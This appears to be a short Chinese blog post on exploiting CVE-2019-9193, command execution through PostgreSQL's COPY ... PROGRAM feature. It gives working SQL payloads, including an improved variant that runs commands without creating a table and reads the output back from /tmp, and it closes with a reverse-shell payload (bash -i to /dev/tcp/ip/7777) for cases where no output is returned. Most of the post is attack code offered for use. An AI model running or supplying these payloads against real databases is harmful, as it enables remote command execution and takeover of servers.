前言
碰巧碰到了这个洞,而且环境有点限制,但网上只有最基础的payload,所以有了这篇博客
CVE-2019-9193
PostgreSQL 其 9.3 到 11 版本中存在一处"特性",管理员或具有"COPY TO/FROM PROGRAM"权限的用户,可以使用这个特性执行任意命令。
利用条件
- 版本9.3-11.2
- 超级用户或者pg_read_server_files组中的任何用户
利用条件中只需要有superuser
权限即可,其他如createrole,createdb,这些权限即使没有也没问题
网上的payload:
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
这个漏洞的关键其实只在于PROGRAM
这个选项,PROGRAM选项启用后,服务器会从指定的这个程序进行输入或是写入该程序作为输出。
看一下他的文档:
- PROGRAM:需执行的程序名。在COPY FROM命令中,输入是从程序的标准输出中读取,而在COPY TO中,命令的输出会作为程序的标准输入。
而payload中COPY cmd_exec FROM PROGRAM 'id';
这一句,是命令执行结果输出到cmd_exec表中,这就产生第一个问题:
- 无法创建新表时,这个payload还能使用吗?
实际上,命令执行的优先级是最高的,即使cmd_exec这个表不存在,他也会先执行命令再报错
而想将回显输入一个现有的表时,我们会发现结果只能存入一个text类型的字段,并且对表的结构有要求,这也就是为什么要先创建一个表的原因。
那我们可以直接舍弃输入表这个过程:
new payload:
COPY (SELECT 1) to PROGRAM 'echo `id`>/tmp/1';
这样一来,即使不创建表也可以执行命令,再配合select pg_read_file('/tmp/1');
就能读取出结果
无回显情况下可以直接反弹shell:COPY (SELECT 1) to PROGRAM 'bash -c "bash -i >& /dev/tcp/ip/7777 0>&1"';
结语
漏洞还是要多了解原理,不能只看网上的payload
Comments | NOTHING